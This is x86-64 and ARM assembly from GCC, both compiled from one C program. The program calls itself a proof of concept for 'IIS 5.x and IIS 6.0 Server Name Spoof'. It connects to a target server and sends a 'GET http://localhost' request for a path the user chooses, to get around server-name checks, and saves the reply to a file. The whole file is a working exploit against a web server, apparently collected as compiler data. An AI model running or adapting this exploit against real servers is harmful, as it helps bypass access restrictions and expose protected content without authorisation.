	.file	"extr_1178.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"\n                 Proof of Concept"
	.align 8
.LC1:
	.string	"\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex"
	.align 8
.LC2:
	.string	"\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk"
	.align 8
.LC3:
	.string	"\n----------------------------------------------------"
	.align 8
.LC4:
	.string	"\n[+] Usage: %s server.com 80 /test.asp\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC5:
	.string	"\n[+] Error connecting to host"
.LC6:
	.string	"\n[+] Connected!"
.LC7:
	.string	"w"
.LC8:
	.string	"received_data.txt"
	.section	.rodata.str1.8
	.align 8
.LC9:
	.string	"\n[+] Error saving received data"
	.section	.rodata.str1.1
.LC10:
	.string	"GET http://localhost"
.LC11:
	.string	" HTTP/1.0\n\n"
	.section	.rodata.str1.8
	.align 8
.LC12:
	.string	"\n[+] Received data, saved in: \"received_data.txt\""
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	mov	r13, rsi
	push	r12
	.cfi_offset 12, -40
	mov	r12d, edi
	push	rbx
	sub	rsp, 16
	.cfi_offset 3, -48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -40[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR LEN_BUF[rip]
	mov	rcx, rsp
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
	cmp	rsp, rax
	je	.L3
.L17:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L17
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L18
.L4:
	lea	rdi, .LC0[rip]
	xor	eax, eax
	mov	rbx, rsp
	call	printf@PLT
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	cmp	r12d, 4
	jne	.L19
	mov	rdi, QWORD PTR 16[r13]
	call	atoi@PLT
	mov	rdi, QWORD PTR 8[r13]
	movsx	esi, ax
	call	Conecta@PLT
	mov	r12d, eax
	cmp	eax, -1
	je	.L20
	lea	rdi, .LC6[rip]
	call	puts@PLT
	lea	rsi, .LC7[rip]
	lea	rdi, .LC8[rip]
	call	fopen@PLT
	mov	r14, rax
	test	rax, rax
	je	.L21
	lea	rsi, .LC10[rip]
	mov	rdi, rsp
	call	strcpy@PLT
	mov	rsi, QWORD PTR 24[r13]
	mov	rdi, rsp
	call	strcat@PLT
	lea	rsi, .LC11[rip]
	mov	rdi, rsp
	call	strcat@PLT
	mov	rdi, rsp
	call	strlen@PLT
	xor	ecx, ecx
	mov	rsi, rsp
	mov	edi, r12d
	mov	edx, eax
	call	send@PLT
	.p2align 4,,10
	.p2align 3
.L9:
	mov	edx, DWORD PTR LEN_BUF[rip]
	xor	ecx, ecx
	mov	rsi, rbx
	mov	edi, r12d
	call	recv@PLT
	mov	rsi, r14
	mov	rdi, rbx
	mov	BYTE PTR [rbx+rax], 0
	call	fputs@PLT
	cmp	DWORD PTR Conectado[rip], r12d
	je	.L9
	xor	eax, eax
	call	WSACleanup@PLT
	mov	rdi, r14
	call	fclose@PLT
	lea	rdi, .LC12[rip]
	call	puts@PLT
.L1:
	mov	rax, QWORD PTR -40[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L22
	lea	rsp, -32[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L19:
	.cfi_restore_state
	mov	rsi, QWORD PTR 0[r13]
	lea	rdi, .LC4[rip]
	xor	eax, eax
	call	printf@PLT
	jmp	.L1
.L18:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L20:
	lea	rdi, .LC5[rip]
	call	puts@PLT
	jmp	.L1
.L21:
	lea	rdi, .LC9[rip]
	call	puts@PLT
	xor	eax, eax
	call	WSACleanup@PLT
	jmp	.L1
.L22:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	LEN_BUF,4,4
	.comm	Conectado,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_1178.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"\012                 Proof of Concept\000"
	.align	2
.LC1:
	.ascii	"\012 IIS 5.x and IIS 6.0 Server Name Spoof - by Lym"
	.ascii	"pex\000"
	.align	2
.LC2:
	.ascii	"\012Contact: lympex[at]gmail[dot]com - http://l-byt"
	.ascii	"es.tk\000"
	.align	2
.LC3:
	.ascii	"\012-----------------------------------------------"
	.ascii	"-----\000"
	.align	2
.LC4:
	.ascii	"\012[+] Usage: %s server.com 80 /test.asp\012\000"
	.align	2
.LC5:
	.ascii	"\012[+] Error connecting to host\000"
	.align	2
.LC6:
	.ascii	"\012[+] Connected!\000"
	.align	2
.LC7:
	.ascii	"w\000"
	.align	2
.LC8:
	.ascii	"received_data.txt\000"
	.align	2
.LC9:
	.ascii	"\012[+] Error saving received data\000"
	.align	2
.LC10:
	.ascii	"GET http://localhost\000"
	.align	2
.LC11:
	.ascii	" HTTP/1.0\012\012\000"
	.align	2
.LC12:
	.ascii	"\012[+] Received data, saved in: \"received_data.tx"
	.ascii	"t\"\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC13:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #8
	mov	r4, r0
	ldr	r6, .L14
	ldr	r0, .L14+4
	ldr	r3, [r6]
	mov	r8, r1
	add	r3, r3, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L14+8
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	bl	printf
	ldr	r0, .L14+12
	bl	printf
	ldr	r0, .L14+16
	bl	printf
	ldr	r0, .L14+20
	bl	puts
	cmp	r4, #4
	beq	.L2
	ldr	r1, [r8]
	ldr	r0, .L14+24
	bl	printf
.L1:
	ldr	r3, .L14+8
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L11
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L2:
	ldr	r0, [r8, #8]
	ldr	r5, [r8, #4]
	bl	atoi
	lsl	r1, r0, #16
	asr	r1, r1, #16
	mov	r0, r5
	bl	Conecta
	cmn	r0, #1
	mov	r5, r0
	beq	.L12
	ldr	r0, .L14+28
	bl	puts
	ldr	r1, .L14+32
	ldr	r0, .L14+36
	bl	fopen
	subs	r7, r0, #0
	beq	.L13
	mov	r2, #21
	ldr	r1, .L14+40
	mov	r0, sp
	bl	memcpy
	ldr	r1, [r8, #12]
	add	r0, sp, #20
	bl	strcpy
	mov	r0, sp
	bl	strlen
	mov	r2, #12
	ldr	r1, .L14+44
	add	r0, sp, r0
	bl	memcpy
	mov	r0, sp
	bl	strlen
	mov	r3, #0
	mov	r2, r0
	mov	r1, sp
	mov	r0, r5
	mov	r4, sp
	bl	send
	mov	r9, #0
	ldr	r8, .L14+48
.L6:
	mov	r3, #0
	mov	r1, r4
	ldr	r2, [r6]
	mov	r0, r5
	bl	recv
	mov	r3, r0
	mov	r1, r7
	strb	r9, [r4, r3]
	mov	r0, r4
	bl	fputs
	ldr	r3, [r8]
	cmp	r3, r5
	beq	.L6
	bl	WSACleanup
	mov	r0, r7
	bl	fclose
	ldr	r0, .L14+52
	bl	puts
	b	.L1
.L12:
	ldr	r0, .L14+56
	bl	puts
	b	.L1
.L13:
	ldr	r0, .L14+60
	bl	puts
	bl	WSACleanup
	b	.L1
.L11:
	bl	__stack_chk_fail
.L15:
	.align	2
.L14:
	.word	LEN_BUF
	.word	.LC0
	.word	.LC13
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC10
	.word	.LC11
	.word	Conectado
	.word	.LC12
	.word	.LC5
	.word	.LC9
	.size	main, .-main
	.comm	LEN_BUF,4,4
	.comm	Conectado,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
